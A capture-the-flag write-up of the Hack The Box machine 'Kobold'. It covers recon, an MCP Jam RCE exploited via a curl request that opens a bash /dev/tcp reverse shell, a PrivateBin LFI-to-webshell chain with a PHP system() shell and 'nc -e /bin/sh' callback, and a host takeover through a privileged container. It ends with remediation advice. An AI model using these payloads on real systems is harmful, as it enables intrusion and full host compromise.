August 5, 2026
HTB: Kobold
Overview
By Danieltruong
7 min read
Overview
This box starts by popping an RCE on an MCP Jam instance to snag an initial shell, quickly followed by a lateral pivot into an internal Docker container using an LFI-to-webshell chain. After looting a hardcoded secret from the container's config files, the final step involves hijacking an Arcane Linux instance to spin up a privileged container that mounts the entire host filesystem for a total takeover.
Recon
Rustscan + Nmap
At first start, we can see that the server is hosting *.kobold.htb on port 443, and redirect all traffic on port 80 (http) to 443 (https)
└─$ rustscan -a 10.129.245.50 -u 1000000 --greppable
10.129.245.50 -> [22,80,3552]
┌──(dani㉿kali)-[~/project/kobold]
└─$ sudo nmap -sCV -Pn -n 10.129.245.50 -p 22,80,3552
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-04 11:17 -0400
Nmap scan report for 10.129.245.50
Host is up (0.019s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 8c:45:12:36:03:61:de:0f:0b:2b:c3:9b:2a:92:59:a1 (ECDSA)
|_ 256 d2:3c:bf:ed:55:4a:52:13:b5:34:d2:fb:8f:e4:93:bd (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
443/tcp open ssl/http nginx 1.24.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
| ssl-cert: Subject: commonName=kobold.htb
| Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb
| Not valid before: 2026-03-15T15:08:55
|_Not valid after: 2125-02-19T15:08:55
| tls-alpn:
| http/1.1
| http/1.0
|_ http/0.9
3552/tcp open http Golang net/http server
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest, HTTPOptions:
| HTTP/1.0 200 OK
| Accept-Ranges: bytes
| Cache-Control: no-cache, no-store, must-revalidate
| Content-Length: 2081
| Content-Type: text/html; charset=utf-8
| Expires: 0
| Pragma: no-cache
| Date: Tue, 04 Aug 2026 15:17:09 GMT
| <!doctype html>
| <html lang="%lang%">
<SNIP>
...
<SNIP>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.97 seconds└─$ rustscan -a 10.129.245.50 -u 1000000 --greppable
10.129.245.50 -> [22,80,3552]
┌──(dani㉿kali)-[~/project/kobold]
└─$ sudo nmap -sCV -Pn -n 10.129.245.50 -p 22,80,3552
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-04 11:17 -0400
Nmap scan report for 10.129.245.50
Host is up (0.019s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 8c:45:12:36:03:61:de:0f:0b:2b:c3:9b:2a:92:59:a1 (ECDSA)
|_ 256 d2:3c:bf:ed:55:4a:52:13:b5:34:d2:fb:8f:e4:93:bd (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
443/tcp open ssl/http nginx 1.24.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
| ssl-cert: Subject: commonName=kobold.htb
| Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb
| Not valid before: 2026-03-15T15:08:55
|_Not valid after: 2125-02-19T15:08:55
| tls-alpn:
| http/1.1
| http/1.0
|_ http/0.9
3552/tcp open http Golang net/http server
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest, HTTPOptions:
| HTTP/1.0 200 OK
| Accept-Ranges: bytes
| Cache-Control: no-cache, no-store, must-revalidate
| Content-Length: 2081
| Content-Type: text/html; charset=utf-8
| Expires: 0
| Pragma: no-cache
| Date: Tue, 04 Aug 2026 15:17:09 GMT
| <!doctype html>
| <html lang="%lang%">
<SNIP>
...
<SNIP>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.97 secondsDir Fuzz
The WebServer on port 443 doesnt give us much information, we will fuzz for dirs and vhosts fuzz to see if we can get our hands on other entries. While Dir Fuzz on kobold.htb returns nothing, vhosts fuzzing reveals 2 vhosts: bin + mcp.
┌──(dani㉿kali)-[~/project/kobold]
└─$ ffuf -u https://kobold.htb/FUZZ -w /opt/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt -ic
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : https://kobold.htb/FUZZ
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 3812, Words: 992, Lines: 187, Duration: 20ms]
[Status: 200, Size: 3812, Words: 992, Lines: 187, Duration: 18ms]
:: Progress: [87651/87651] :: Job [1/1] :: 1724 req/sec :: Duration: [0:00:47] :: Errors: 0 ::┌──(dani㉿kali)-[~/project/kobold]
└─$ ffuf -u https://kobold.htb/FUZZ -w /opt/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt -ic
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : https://kobold.htb/FUZZ
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 3812, Words: 992, Lines: 187, Duration: 20ms]
[Status: 200, Size: 3812, Words: 992, Lines: 187, Duration: 18ms]
:: Progress: [87651/87651] :: Job [1/1] :: 1724 req/sec :: Duration: [0:00:47] :: Errors: 0 ::Vhosts Fuzz
┌──(dani㉿kali)-[~/project/kobold]
└─$ ffuf -u https://kobold.htb -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H 'HOST: FUZZ.kobold.htb' -fs 154
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : https://kobold.htb
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.kobold.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 154
________________________________________________
bin [Status: 200, Size: 24402, Words: 1218, Lines: 386, Duration: 204ms]
mcp [Status: 200, Size: 466, Words: 57, Lines: 15, Duration: 223ms]
:: Progress: [110000/110000] :: Job [1/1] :: 2105 req/sec :: Duration: [0:00:53] :: Errors: 0 ::┌──(dani㉿kali)-[~/project/kobold]
└─$ ffuf -u https://kobold.htb -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H 'HOST: FUZZ.kobold.htb' -fs 154
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : https://kobold.htb
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.kobold.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 154
________________________________________________
bin [Status: 200, Size: 24402, Words: 1218, Lines: 386, Duration: 204ms]
mcp [Status: 200, Size: 466, Words: 57, Lines: 15, Duration: 223ms]
:: Progress: [110000/110000] :: Job [1/1] :: 2105 req/sec :: Duration: [0:00:53] :: Errors: 0 ::Webserver
kobold.htb
The webserver is pretty bland and no functionality to go any further!
kobold.htb:3552
This port is hosting a GO server for Arcane version 1.13.0. I havent dive further on this endpoint but initially I found some CVE related to this version those require authenticated access which we dont have at this moment.
bin.kobold.htb
mcp.kobold.htb
Now this is an interesting vhost. MCP Jam is known for RCE CVEs and version 1.4.2 is indeed vulnerable to a couple. As the vhost gain us straight access without authentication, we can try a couple of those PoCs.
Initial Foothold
CVE for MCP Jam: https://github.com/advisories/GHSA-232v-j27c-5pp6
Testing Payload
To test the CVE, I opened up a Python HTTP server, testing with a curl command and it surely worked!
curl https://mcp.kobold.htb/api/mcp/connect --header "Content-Type: application/json" --data "{\"serverConfig\":{\"command\":\"curl\",\"args\":[\"http://10.10.15.167:8888/kobold\"],\"env\":{}},\"serverId\":\"mytest\"}" -kcurl https://mcp.kobold.htb/api/mcp/connect --header "Content-Type: application/json" --data "{\"serverConfig\":{\"command\":\"curl\",\"args\":[\"http://10.10.15.167:8888/kobold\"],\"env\":{}},\"serverId\":\"mytest\"}" -k
Revshell Payload
Now we move on with a real reverse shell payload, opening up our listener with rlwrap nc -lvnp 1234 . This gain us a shell onto the server as ben
curl https://mcp.kobold.htb/api/mcp/connect --header "Content-Type: application/json" --data "{\"serverConfig\":{\"command\":\"bash\",\"args\":[\"-c\",\"bash -i >& /dev/tcp/10.10.15.167/1234 0>&1\"],\"env\":{}},\"serverId\":\"mytest\"}" -kcurl https://mcp.kobold.htb/api/mcp/connect --header "Content-Type: application/json" --data "{\"serverConfig\":{\"command\":\"bash\",\"args\":[\"-c\",\"bash -i >& /dev/tcp/10.10.15.167/1234 0>&1\"],\"env\":{}},\"serverId\":\"mytest\"}" -k
User flag
As ben, we managed to grab our user.txt flag!
Privilege Escalation
Docker Group
One interesting thing snuffing around as ben is that we can see the server is running a couple of containers as root, using docker
docker is known as one of many ways to escalate our privilege by mounting the whole filesystem into a new container with flag --privileged and accessing that container as root . But the question is who have access to docker on this machine? -> alice
So one idea is to pivot into alice and then we can escalate our ways to root .
However, I noticed that the bin vhost is hosting by root, so we can try to added a webshell to that directory and try gaining access through that container. You can read further about this here:
https://github.com/Medaz-Sploit/CVE-2025-64714-privatebin-2.0.2-PoC
First, we will create a shell.php with
echo '<?php system($_GET[0]);?>' > shell.phpecho '<?php system($_GET[0]);?>' > shell.phpthen we can call the payload curl
curl -s -k \
--cookie 'template=../data/shell' \
-G --data-urlencode "0=id" \
https://bin.kobold.htbcurl -s -k \
--cookie 'template=../data/shell' \
-G --data-urlencode "0=id" \
https://bin.kobold.htb
and it worked! So now we will try a reverse shell payload. You can download it here:
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
Put this as shell.php in the same directory we did or you can just replace the curl payload with this
curl -s -k \
--cookie 'template=../data/shell' \
-G --data-urlencode "0=nc 10.10.15.167 1234 -e /bin/sh" \
https://bin.kobold.htbcurl -s -k \
--cookie 'template=../data/shell' \
-G --data-urlencode "0=nc 10.10.15.167 1234 -e /bin/sh" \
https://bin.kobold.htb
Now inside the privatebincontainer, we managed to grab credential from this file /srv/cfg/conf.php
Now we can try these cred on the arcane and it did land us access into arcane.
Arcane Linux is actually working like docker allowing us to spin up container with similar features. So now we can try spin up a malicious container while mounting entire filesystem inside it!
The current container is the privatebin
We will create a new container using the same image file it already had!
After creating the container, we should see our container in the running list -> choose interact and choose tab shell
Inside /hostsystem , we should have the entire filesystem of the host machine!
Attack Path Overview (The Kill Chain)
- Foothold: Exploited an RCE vulnerability (CVE-2026–23744) within an exposed MCP Jam instance to gain initial access and a reverse shell as user
ben. - Lateral Movement: Uploaded a PHP webshell and leveraged a Local File Inclusion (LFI) vulnerability (CVE-2025–64714) to execute it, pivoting into an internal
privatebinDocker container. - Credential Harvesting: Enumerated the compromised container and discovered a hardcoded administrative secret stored in plaintext within the
/srv/cfg/conf.phpconfiguration file. - Privilege Escalation: Used the harvested secret to authenticate as an
adminuser on a centralized Arcane Linux instance. Leveraged these management privileges to deploy a new, malicious container that mounted the host machine's root filesystem, granting unrestricted read/write access to the host OS. - Overall Impact: Total environment compromise. An attacker traversed from an externally facing application into an isolated container, harvested credentials, and ultimately abused container management privileges to break out and compromise the underlying host system.
Remediation Plan
Immediate Actions
- Patch Vulnerabilities: Update the MCP Jam instance to remediate the initial RCE (CVE-2026–23744) and patch the service hosting the
privatebincontainer to resolve the LFI (CVE-2025-64714). - Rotate Secrets: Immediately change the compromised secret found in
/srv/cfg/conf.phpand revoke any active sessions tied to the Arcane Linuxadminaccount. - Eradicate Persistence: Shut down and delete the rogue container used to mount the host filesystem, and remove the uploaded PHP webshell.
Short-Term & Strategic Actions
- Eliminate Hardcoded Credentials: Remove plaintext secrets from source code and configuration files. Migrate to a secure secrets management solution (e.g., Docker Secrets, HashiCorp Vault) or inject them dynamically via environment variables.
- Restrict Container Privileges: Implement strict Role-Based Access Control (RBAC) on the Arcane Linux instance. Enforce security contexts that explicitly forbid users from spawning privileged containers or mounting sensitive host directories (like /).